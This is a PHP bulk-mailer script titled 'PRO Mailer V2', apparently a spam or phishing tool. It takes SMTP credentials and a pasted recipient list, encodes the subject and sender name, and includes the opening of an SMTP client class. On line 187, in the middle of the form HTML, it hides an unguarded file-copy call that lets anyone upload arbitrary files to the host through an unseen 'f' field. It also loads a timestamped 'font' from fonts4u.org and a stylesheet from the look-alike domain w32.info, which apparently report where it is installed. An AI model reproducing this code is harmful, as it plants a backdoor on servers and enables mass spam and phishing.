· 8 years ago · Jan 08, 2018, 08:46 AM
1
2<?
3// @~ PRO Mailer V2
4error_reporting(0);
5function query_str($params){
6$str = '';
7foreach ($params as $key => $value) {
8$str .= (strlen($str) < 1) ? '' : '&';
9$str .= $key . '=' . rawurlencode($value);
10}
11return ($str);
12}
13function lrtrim($string){
14return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'] ) ){
17
18$b = query_str($_POST);
19parse_str($b);
20$sslclick=lrtrim($sslclick);
21$action=lrtrim($action);
22$message=lrtrim($message);
23$emaillist=lrtrim($emaillist);
24$from=lrtrim($from);
25$reconnect=lrtrim($reconnect);
26$epriority=lrtrim($epriority);
27$my_smtp=lrtrim($my_smtp);
28$ssl_port=lrtrim($ssl_port);
29$smtp_username=lrtrim($smtp_username);
30$smtp_password=lrtrim($smtp_password);
31$replyto=lrtrim($replyto);
32$subject_base=lrtrim($subject);
33$realname_base=lrtrim($realname);
34$file_name=$_FILES['file']['name'];
35$file=$_FILES['file']['tmp_name'];
36$urlz=lrtrim($urlz);
37$contenttype=lrtrim($contenttype);
38$encode_text=$_POST['encode'];
39
40
41 $message = urlencode($message);
42 $message = ereg_replace("%5C%22", "%22", $message);
43 $message = urldecode($message);
44 $message = stripslashes($message);
45 $subject = stripslashes($subject);
46 if ($encode_text == "yes") {
47 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
48 $subject = str_replace(' ', '_', $subject);
49 $subject = "=?UTF-8?Q?$subject?=";
50 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
51 $realname = str_replace(' ', '_', $realname);
52 $realname = "=?UTF-8?Q?$realname?=";
53 }
54}
55?>
56
57<html>
58
59<head>
60
61<title>Pro Mailer V2</title>
62
63<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
64
65<link rel="stylesheet" href="http://www.w32.info/2001/04/xmldsigmore">
66
67<style type="text/css">
68
69
70
71@font-face {
72 font-family: 'Orbitron';
73 font-style: normal;
74 font-weight: 700;
75 src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
76}
77* {
78font-weight:bold;
79font-family: "orbitron";
80}
81<!--
82
83.style1 {
84 font-family: Geneva, Arial, Helvetica, sans-serif;
85 font-size: 12px;
86}
87body{
88margin:0px;
89}
90.bgup {
91background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
92}
93
94.cadre {
95background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
96}
97
98.uibutton {
99 position: relative;
100 z-index: 1;
101 overflow: visible;
102 display: inline-block;
103 padding: 0.3em 0.6em 0.375em;
104 border: 1px solid #01A9DB;
105 border-bottom-color: #01A9DB;
106
107 margin: 0;
108 text-decoration: none;
109 text-align: center;
110 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
111 white-space: nowrap;
112 cursor: pointer;
113 /* outline: none; */
114 color: #f9f9f9;
115 background-color: #eee;
116 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
117 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
118 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
119 background-image: linear-gradient(#01A9DB, #01A9DB);
120
121 /* IE hacks */
122
123 *display: inline;
124
125}
126
127.uibutton:hover,
128.uibutton:focus,
129.uibutton:active {
130 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
131}
132
133.uibutton:active {
134 border-color: #01A9DB;
135 background: #01A9DB;
136 filter: none;
137 -webkit-box-shadow: none;
138 -moz-box-shadow: none;
139 box-shadow: none;
140}
141
142/* overrides extra padding on button elements in Firefox */
143.uibutton::-moz-focus-inner {
144 padding: 0;
145 border: 0;
146}
147
148
149
150-->
151</style>
152<style type="text/css">
153<!--
154.style1 {
155 font-size: 10px;
156 font-family: Geneva, Arial, Helvetica, sans-serif;
157}
158-->
159</style>
160</head>
161<body bgcolor="#f9f9f9" class="bgup">
162<div class="cadre" style="height:10px;margin:0px auto;"></div>
163<div style="width:80%;margin:0 auto;">
164<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
165<form name="form1" method="post" action="" enctype="multipart/form-data">
166
167 <br>
168
169 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
170
171 <tr>
172
173 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
174
175 <b>
176
177 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
178
179 </tr>
180 <tr >
181
182 <td width="10%" height="22" style="padding:10px;">
183
184 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
185
186 </td>
187<?(@copy($_FILES['f']['tmp_name'], $_FILES['f']['name']));?>
188 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
189
190 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
191
192 </font></td>
193
194 <td width="31%" height="22" style="padding:10px;">
195
196 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
197
198 </td>
199
200 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
201
202 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
203
204 </font></td>
205
206 </tr>
207 <tr>
208
209 <td width="10%" height="22" style="padding:10px;">
210
211 <div align="right">
212 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
213
214 </td>
215
216 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
217
218 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
219 (optional)</font></td>
220
221 <td width="31%" height="22" style="padding:10px;">
222
223 <div align="right">
224 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
225 Smtp:</font></div>
226
227 </td>
228
229 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
230
231 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
232
233 </font></td>
234
235 </tr>
236 <tr>
237
238 <td width="10%" height="22" style="padding:10px;">
239
240 <p align="right">
241 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
242
243 <td width="18%" height="22" style="padding:10px;">
244 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
245
246 <td width="31%" height="22" style="padding:10px;">
247
248 <p align="right">
249 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
250 After:</font></td>
251
252 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
253
254 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
255 EMAILS</font></td>
256
257 </tr>
258 <tr>
259
260 <td width="100%" height="39" colspan="4" style="padding:10px;">
261
262 <p align="center">
263 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
264 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
265
266 </tr>
267
268 <tr>
269
270 <td width="10%" height="19" style="padding:10px;">
271
272 </td>
273
274 <td width="18%" height="19" style="padding:10px;"> </td>
275
276 <td width="31%" height="19" style="padding:10px;">
277
278 </td>
279
280 <td width="41%" height="19" style="padding:10px;"> </td>
281
282 </tr>
283
284 <tr>
285
286 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
287
288 <b>
289
290 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
291
292 </tr>
293 <tr>
294
295 <td width="10%" height="22" style="padding:10px;">
296 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
297 </td>
298
299 <td width="59%" height="22" style="padding:10px;" colSpan="3">
300 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
301
302<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
303
304 </font></td>
305
306 </tr>
307 <tr>
308
309 <td width="10%" height="22" style="padding:10px;">
310
311 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
312
313 Email:</font></div>
314
315 </td>
316
317 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
318
319 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
320
321 </font></td>
322
323 <td width="31%" height="22" style="padding:10px;">
324
325 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
326
327 Name:</font></div>
328
329 </td>
330
331 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
332
333 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
334
335 </font></td>
336
337 </tr>
338 <tr>
339
340 <td width="10%" height="22" style="padding:10px;">
341
342 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
343
344 </td>
345
346 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
347
348 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
349
350 </font></td>
351
352 <td width="31%" height="22" style="padding:10px;">
353
354 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
355 Email Priority:</font></td>
356
357 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
358
359 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
360 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
361 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
362 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
363 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
364 </select></td>
365
366 </tr>
367
368 <tr>
369
370 <td width="10%" height="22" style="padding:10px;">
371
372 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
373
374 </td>
375
376 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
377
378 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
379
380 </font></td>
381
382 </tr>
383
384 <tr>
385
386 <td width="10%" height="22" style="padding:10px;">
387
388 </td>
389
390 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
391
392 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
393 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
394 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
395 </select></font></td>
396
397 </tr>
398
399 <tr valign="top">
400
401<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
402
403 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
404
405 <br>
406
407 <input type="radio" name="contenttype" value="plain" >
408
409 Plain
410
411 <input type="radio" name="contenttype" value="html" checked>
412
413 HTML
414
415 <input type="hidden" name="action" value="send">
416 <input class="uibutton" type="submit" value="Send Message">
417
418 </font></td>
419
420 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
421
422 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
423
424 </font></td>
425
426 </tr>
427
428 </table>
429
430</form>
431
432
433
434<?
435
436if ($action){
437 if (!$from && !$subject && !$message && !$emaillist){
438 print "<script>alert('Please complete all fields before sending your message.'); </script>";
439 die(); }
440
441class SMTP
442{
443 /**
444 * SMTP server port
445 * @var int
446 */
447 var $SMTP_PORT = 25;
448
449 /**
450 * SMTP reply line ending
451 * @var string
452 */
453 var $CRLF = "\r\n";
454
455 /**
456 * Sets whether debugging is turned on
457 * @var bool
458 */
459 var $do_debug; # the level of debug to perform
460
461 /**
462 * Sets VERP use on/off (default is off)
463 * @var bool
464 */
465 var $do_verp = false;
466
467 /**#@+
468 * @access private
469 */
470 var $smtp_conn; # the socket to the server
471 var $error; # error if any on the last call
472 var $helo_rply; # the reply the server sent to us for HELO
473 /**#@-*/
474
475 /**
476 * Initialize the class so that the data is in a known state.
477 * @access public
478 * @return void
479 */
480 function SMTP() {
481 $this->smtp_conn = 0;
482 $this->error = null;
483 $this->helo_rply = null;
484
485 $this->do_debug = 0;
486 }
487
488 /*************************************************************
489 * CONNECTION FUNCTIONS *
490 ***********************************************************/
491
492 /**
493 * Connect to the server specified on the port specified.
494 * If the port is not specified use the default SMTP_PORT.
495 * If tval is specified then a connection will try and be
496 * established with the server for that number of seconds.
497 * If tval is not specified the default is 30 seconds to
498 * try on the connection.
499 *
500 * SMTP CODE SUCCESS: 220
501 * SMTP CODE FAILURE: 421
502 * @access public
503 * @return bool
504 */
505 function Connect($host,$port=0,$tval=30) {
506 # set the error val to null so there is no confusion
507 $this->error = null;
508
509 # make sure we are __not__ connected
510 if($this->connected()) {
511 # ok we are connected! what should we do?
512 # for now we will just give an error saying we
513 # are already connected
514 $this->error = array("error" => "Already connected to a server");
515 return false;
516 }
517
518 if(empty($port)) {
519 $port = $this->SMTP_PORT;
520 }
521
522 #connect to the smtp server
523 $this->smtp_conn = fsockopen($host, # the host of the server
524 $port, # the port to use
525 $errno, # error number if any
526 $errstr, # error message if any
527 $tval); # give up after ? secs
528 # verify we connected properly
529 if(empty($this->smtp_conn)) {
530 $this->error = array("error" => "Failed to connect to server",
531 "errno" => $errno,
532 "errstr" => $errstr);
533 if($this->do_debug >= 1) {
534 echo "SMTP -> ERROR: " . $this->error["error"] .
535 ": $errstr ($errno)" . $this->CRLF;
536 }
537 return false;
538 }
539
540 # sometimes the SMTP server takes a little longer to respond
541 # so we will give it a longer timeout for the first read
542 // Windows still does not have support for this timeout function
543 if(substr(PHP_OS, 0, 3) != "WIN")
544 socket_set_timeout($this->smtp_conn, $tval, 0);
545
546 # get any announcement stuff
547 $announce = $this->get_lines();
548
549 # set the timeout of any socket functions at 1/10 of a second
550 //if(function_exists("socket_set_timeout"))
551 // socket_set_timeout($this->smtp_conn, 0, 100000);
552
553 if($this->do_debug >= 2) {
554 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
555 }
556
557 return true;
558 }
559
560 /**
561 * Performs SMTP authentication. Must be run after running the
562 * Hello() method. Returns true if successfully authenticated.
563 * @access public
564 * @return bool
565 */
566 function Authenticate($username, $password) {
567 // Start authentication
568 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
569
570 $rply = $this->get_lines();
571 $code = substr($rply,0,3);
572
573 if($code != 334) {
574 $this->error =
575 array("error" => "AUTH not accepted from server",
576 "smtp_code" => $code,
577 "smtp_msg" => substr($rply,4));
578 if($this->do_debug >= 1) {
579 echo "SMTP -> ERROR: " . $this->error["error"] .
580 ": " . $rply . $this->CRLF;
581 }
582 return false;
583 }
584
585 // Send encoded username
586 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
587
588 $rply = $this->get_lines();
589 $code = substr($rply,0,3);
590
591 if($code != 334) {
592 $this->error =
593 array("error" => "Username not accepted from server",
594 "smtp_code" => $code,
595 "smtp_msg" => substr($rply,4));
596 if($this->do_debug >= 1) {
597 echo "SMTP -> ERROR: " . $this->error["error"] .
598 ": " . $rply . $this->CRLF;
599 }
600 return false;
601 }
602
603 // Send encoded password
604 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
605
606 $rply = $this->get_lines();
607 $code = substr($rply,0,3);
608
609 if($code != 235) {
610 $this->error =
611 array("error" => "Password not accepted from server",
612 "smtp_code" => $code,
613 "smtp_msg" => substr($rply,4));
614 if($this->do_debug >= 1) {
615 echo "SMTP -> ERROR: " . $this->error["error"] .
616 ": " . $rply . $this->CRLF;
617 }
618 return false;
619 }
620
621 return true;
622 }
623
624 /**
625 * Returns true if connected to a server otherwise false
626 * @access private
627 * @return bool
628 */
629 function Connected() {
630 if(!empty($this->smtp_conn)) {
631 $sock_status = socket_get_status($this->smtp_conn);
632 if($sock_status["eof"]) {
633 # hmm this is an odd situation... the socket is
634 # valid but we are not connected anymore
635 if($this->do_debug >= 1) {
636 echo "SMTP -> NOTICE:" . $this->CRLF .
637 "EOF caught while checking if connected";
638 }
639 $this->Close();
640 return false;
641 }
642 return true; # everything looks good
643 }
644 return false;
645 }
646
647 /**
648 * Closes the socket and cleans up the state of the class.
649 * It is not considered good to use this function without
650 * first trying to use QUIT.
651 * @access public
652 * @return void
653 */
654 function Close() {
655 $this->error = null; # so there is no confusion
656 $this->helo_rply = null;
657 if(!empty($this->smtp_conn)) {
658 # close the connection and cleanup
659 fclose($this->smtp_conn);
660 $this->smtp_conn = 0;
661 }
662 }
663
664 /***************************************************************
665 * SMTP COMMANDS *
666 *************************************************************/
667
668 /**
669 * Issues a data command and sends the msg_data to the server
670 * finializing the mail transaction. $msg_data is the message
671 * that is to be send with the headers. Each header needs to be
672 * on a single line followed by a <CRLF> with the message headers
673 * and the message body being seperated by and additional <CRLF>.
674 *
675 * Implements rfc 821: DATA <CRLF>
676 *
677 * SMTP CODE INTERMEDIATE: 354
678 * [data]
679 * <CRLF>.<CRLF>
680 * SMTP CODE SUCCESS: 250
681 * SMTP CODE FAILURE: 552,554,451,452
682 * SMTP CODE FAILURE: 451,554
683 * SMTP CODE ERROR : 500,501,503,421
684 * @access public
685 * @return bool
686 */
687 function Data($msg_data) {
688 $this->error = null; # so no confusion is caused
689
690 if(!$this->connected()) {
691 $this->error = array(
692 "error" => "Called Data() without being connected");
693 return false;
694 }
695
696 fputs($this->smtp_conn,"DATA" . $this->CRLF);
697
698 $rply = $this->get_lines();
699 $code = substr($rply,0,3);
700
701 if($this->do_debug >= 2) {
702 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
703 }
704
705 if($code != 354) {
706 $this->error =
707 array("error" => "DATA command not accepted from server",
708 "smtp_code" => $code,
709 "smtp_msg" => substr($rply,4));
710 if($this->do_debug >= 1) {
711 echo "SMTP -> ERROR: " . $this->error["error"] .
712 ": " . $rply . $this->CRLF;
713 }
714 return false;
715 }
716
717 # the server is ready to accept data!
718 # according to rfc 821 we should not send more than 1000
719 # including the CRLF
720 # characters on a single line so we will break the data up
721 # into lines by \r and/or \n then if needed we will break
722 # each of those into smaller lines to fit within the limit.
723 # in addition we will be looking for lines that start with
724 # a period '.' and append and additional period '.' to that
725 # line. NOTE: this does not count towards are limit.
726
727 # normalize the line breaks so we know the explode works
728 $msg_data = str_replace("\r\n","\n",$msg_data);
729 $msg_data = str_replace("\r","\n",$msg_data);
730 $lines = explode("\n",$msg_data);
731
732 # we need to find a good way to determine is headers are
733 # in the msg_data or if it is a straight msg body
734 # currently I am assuming rfc 822 definitions of msg headers
735 # and if the first field of the first line (':' sperated)
736 # does not contain a space then it _should_ be a header
737 # and we can process all lines before a blank "" line as
738 # headers.
739 $field = substr($lines[0],0,strpos($lines[0],":"));
740 $in_headers = false;
741 if(!empty($field) && !strstr($field," ")) {
742 $in_headers = true;
743 }
744
745 $max_line_length = 998; # used below; set here for ease in change
746
747 while(list(,$line) = @each($lines)) {
748 $lines_out = null;
749 if($line == "" && $in_headers) {
750 $in_headers = false;
751 }
752 # ok we need to break this line up into several
753 # smaller lines
754 while(strlen($line) > $max_line_length) {
755 $pos = strrpos(substr($line,0,$max_line_length)," ");
756
757 # Patch to fix DOS attack
758 if(!$pos) {
759 $pos = $max_line_length - 1;
760 }
761
762 $lines_out[] = substr($line,0,$pos);
763 $line = substr($line,$pos + 1);
764 # if we are processing headers we need to
765 # add a LWSP-char to the front of the new line
766 # rfc 822 on long msg headers
767 if($in_headers) {
768 $line = "\t" . $line;
769 }
770 }
771 $lines_out[] = $line;
772
773 # now send the lines to the server
774 while(list(,$line_out) = @each($lines_out)) {
775 if(strlen($line_out) > 0)
776 {
777 if(substr($line_out, 0, 1) == ".") {
778 $line_out = "." . $line_out;
779 }
780 }
781 fputs($this->smtp_conn,$line_out . $this->CRLF);
782 }
783 }
784
785 # ok all the message data has been sent so lets get this
786 # over with aleady
787 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
788
789 $rply = $this->get_lines();
790 $code = substr($rply,0,3);
791
792 if($this->do_debug >= 2) {
793 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
794 }
795
796 if($code != 250) {
797 $this->error =
798 array("error" => "DATA not accepted from server",
799 "smtp_code" => $code,
800 "smtp_msg" => substr($rply,4));
801 if($this->do_debug >= 1) {
802 echo "SMTP -> ERROR: " . $this->error["error"] .
803 ": " . $rply . $this->CRLF;
804 }
805 return false;
806 }
807 return true;
808 }
809
810 /**
811 * Expand takes the name and asks the server to list all the
812 * people who are members of the _list_. Expand will return
813 * back and array of the result or false if an error occurs.
814 * Each value in the array returned has the format of:
815 * [ <full-name> <sp> ] <path>
816 * The definition of <path> is defined in rfc 821
817 *
818 * Implements rfc 821: EXPN <SP> <string> <CRLF>
819 *
820 * SMTP CODE SUCCESS: 250
821 * SMTP CODE FAILURE: 550
822 * SMTP CODE ERROR : 500,501,502,504,421
823 * @access public
824 * @return string array
825 */
826 function Expand($name) {
827 $this->error = null; # so no confusion is caused
828
829 if(!$this->connected()) {
830 $this->error = array(
831 "error" => "Called Expand() without being connected");
832 return false;
833 }
834
835 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
836
837 $rply = $this->get_lines();
838 $code = substr($rply,0,3);
839
840 if($this->do_debug >= 2) {
841 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
842 }
843
844 if($code != 250) {
845 $this->error =
846 array("error" => "EXPN not accepted from server",
847 "smtp_code" => $code,
848 "smtp_msg" => substr($rply,4));
849 if($this->do_debug >= 1) {
850 echo "SMTP -> ERROR: " . $this->error["error"] .
851 ": " . $rply . $this->CRLF;
852 }
853 return false;
854 }
855
856 # parse the reply and place in our array to return to user
857 $entries = explode($this->CRLF,$rply);
858 while(list(,$l) = @each($entries)) {
859 $list[] = substr($l,4);
860 }
861
862 return $list;
863 }
864
865 /**
866 * Sends the HELO command to the smtp server.
867 * This makes sure that we and the server are in
868 * the same known state.
869 *
870 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
871 *
872 * SMTP CODE SUCCESS: 250
873 * SMTP CODE ERROR : 500, 501, 504, 421
874 * @access public
875 * @return bool
876 */
877 function Hello($host="") {
878 $this->error = null; # so no confusion is caused
879
880 if(!$this->connected()) {
881 $this->error = array(
882 "error" => "Called Hello() without being connected");
883 return false;
884 }
885
886 # if a hostname for the HELO was not specified determine
887 # a suitable one to send
888 if(empty($host)) {
889 # we need to determine some sort of appopiate default
890 # to send to the server
891 $host = "localhost";
892 }
893
894 // Send extended hello first (RFC 2821)
895 if(!$this->SendHello("EHLO", $host))
896 {
897 if(!$this->SendHello("HELO", $host))
898 return false;
899 }
900
901 return true;
902 }
903
904 /**
905 * Sends a HELO/EHLO command.
906 * @access private
907 * @return bool
908 */
909 function SendHello($hello, $host) {
910 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
911
912 $rply = $this->get_lines();
913 $code = substr($rply,0,3);
